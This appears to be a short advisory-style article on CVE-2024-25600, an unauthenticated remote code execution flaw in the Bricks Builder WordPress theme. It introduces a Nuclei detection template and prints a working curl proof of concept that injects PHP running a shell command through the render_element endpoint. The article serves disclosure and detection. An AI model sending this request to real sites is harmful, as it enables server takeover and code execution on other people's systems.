In the digital landscape of WordPress themes and plugins, a critical vulnerability has emerged with the potential to compromise website security.

CVE-2024-25600, a flaw within the Bricks Builder plugin, exposes sites to unauthenticated remote code execution.

This article introduces a specialized Nuclei template designed to detect and address this significant security risk, offering a beacon of protection for web administrators and developers alike.

Nuclei template and information about the POC for CVE-2024-25600

Description

The Bricks theme for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.9.6. This makes it possible for unauthenticated attackers to execute code on the server.

This template is designed to detect the CVE-2024-25600 vulnerability found in the Bricks Builder plugin for WordPress using nuclei.

The vulnerability allows for unauthenticated remote code execution on affected websites.

Proof Of Concept (PoC)

The Complete POC (automatic) is avaible.

The base PoC provided by the disclosure is as follows:

curl -k -X POST https://[HOST]/wp-json/bricks/v1/render_element \
-H "Content-Type: application/json" \
-d '{
  "postId": "1",
  "nonce": "[NONCE]",
  "element": {
    "name": "container",
    "settings": {
      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
    }
  }
}'

Replace [HOST] with the target website and [NONCE] with the nonce value retrieved from the site.